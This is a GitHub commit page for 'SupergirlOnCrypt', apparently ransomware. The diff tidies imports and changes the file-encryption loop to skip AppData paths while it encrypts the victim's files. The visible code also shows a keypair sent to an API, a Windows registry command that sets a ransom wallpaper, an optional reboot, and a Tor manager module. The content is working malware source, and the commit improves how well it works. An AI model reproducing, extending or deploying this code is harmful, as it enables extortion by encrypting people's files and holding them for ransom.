Skip to content

Commit

Permalink
Exlude 'AppData'
Browse files Browse the repository at this point in the history
  • Loading branch information
ThoughtfulDev committed Jan 7, 2018
1 parent 082baa4 commit 95ec434
Show file tree
Hide file tree
Showing 5 changed files with 31 additions and 27 deletions.
4 changes: 2 additions & 2 deletions App/DecryptThread.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
from PyQt5.QtCore import QThread
import sys
from Helper import Helper
from pathlib import Path
from PyQt5.QtCore import QThread
from Helper import Helper
from FileCrypter import FileCrypter
import Config

Expand Down
4 changes: 2 additions & 2 deletions App/FileCrypter.py
Original file line number Diff line number Diff line change
@@ -1,11 +1,11 @@
import base64
import os
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.backends import default_backend
from AES.RandomKeyGen import RandomKeyGen
from Crypto import Random
from Crypto.Cipher import AES
import base64
import os
import Config


Expand Down
7 changes: 4 additions & 3 deletions App/GUI.py
Original file line number Diff line number Diff line change
@@ -1,15 +1,16 @@
import json
import base64
import collections
from PyQt5 import QtCore
from PyQt5.QtCore import QSize
from PyQt5.QtGui import QImage, QPalette, QBrush, QFont
from PyQt5.QtWidgets import QLabel, QPushButton, QWidget, QMessageBox, QTextEdit, QProgressBar, QInputDialog, QLineEdit
from Helper import Helper
from TorManager import TorManager
import Config
import json
import base64
import DecryptThread
import requests
import collections



class GUI(QWidget):
Expand Down
39 changes: 21 additions & 18 deletions App/SupergirlOnCrypt.py
Original file line number Diff line number Diff line change
@@ -1,18 +1,18 @@
from cryptography.hazmat.primitives import serialization, hashes
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.backends import default_backend
from PyQt5.QtWidgets import QApplication
from RSA.RSAKeyGen import RSAKeyGen
import base64
import sys
import platform
import uuid
import Config
import json
import os
import time
import requests
import shutil
import base64
import requests
import Config
from cryptography.hazmat.primitives import serialization, hashes
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.backends import default_backend
from PyQt5.QtWidgets import QApplication
from RSA.RSAKeyGen import RSAKeyGen
from pathlib import Path
from Helper import Helper
from FileCrypter import FileCrypter
Expand Down Expand Up @@ -44,7 +44,7 @@ def startGui(id):
if sys.platform == "linux" or sys.platform == "linux2":
if not os.environ.get('XDG_CURRENT_DESKTOP') is None:
app = QApplication(sys.argv)
oMainwindow = GUI(id)
_ = GUI(id)
sys.exit(app.exec_())
else:
_helper.super_logo()
Expand All @@ -53,7 +53,7 @@ def startGui(id):
print("Have a nice Day! ;)")
else:
app = QApplication(sys.argv)
oMainwindow = GUI(id)
_ = GUI(id)
sys.exit(app.exec_())

def makePersistence():
Expand All @@ -77,7 +77,7 @@ def makePersistence():
file_out = str(Path.home()) + '/wp.bmp'
if len(img.split()) == 4:
# prevent IOError: cannot write mode RGBA as BMP
r, g, b, a = img.split()
r, g, b, _ = img.split()
img = Image.merge("RGB", (r, g, b))
img.save(file_out)
else:
Expand All @@ -86,7 +86,7 @@ def makePersistence():
file_out = file_out.replace('/', '\\')
os.system('reg add "HKEY_CURRENT_USER\\Control Panel\\Desktop" /v Wallpaper /t REG_SZ /d ' + file_out + ' /f')
time.sleep(1)
os.system('RUNDLL32.EXE user32.dll, UpdatePerUserSystemParameters')
os.system('RUNDLL32.EXE user32.dll, UpdatePerUserSystemParameters')
if Config.WIN_SHOULD_REBOOT:
time.sleep(1)
#reboot for wallpaper change
Expand All @@ -107,6 +107,7 @@ def makePersistence():


def genKeyPair():
"""Generates the Keypair and sends it to the API"""
keys = RSAKeyGen()
_helper.info("Public/Private Keypair generated!")
cipher_cpriv_key = base64.b64encode(encryptClientPrivKey(keys.getPrivateKeyAsStr()))
Expand Down Expand Up @@ -139,12 +140,14 @@ def encryptAllFiles(keys):
pathlist.extend(Path(p).glob('**/*.' + types))
for path in pathlist:
path_in_str = str(path)
fc = FileCrypter()
try:
fc.encrypt_file(path_in_str, keys.getPublicKeyAsStr())
_helper.info("Encrypted " + path_in_str)
except IOError:
_helper.error("Could not encrypt " + path_in_str)
#skip appdata dir
if 'appdata' not in path_in_str.lower():
fc = FileCrypter()
try:
fc.encrypt_file(path_in_str, keys.getPublicKeyAsStr())
_helper.info("Encrypted " + path_in_str)
except IOError:
_helper.error("Could not encrypt " + path_in_str)


def encryptClientPrivKey(priv_key):
Expand Down
4 changes: 2 additions & 2 deletions App/TorManager.py
Original file line number Diff line number Diff line change
@@ -1,12 +1,12 @@
import requests
from sys import platform
from shutil import copyfile, rmtree
from Helper import Helper
import tempfile
import os
import zipfile
import subprocess
import time
import requests
from Helper import Helper
import Config
import psutil

Expand Down

0 comments on commit 95ec434

Please sign in to comment.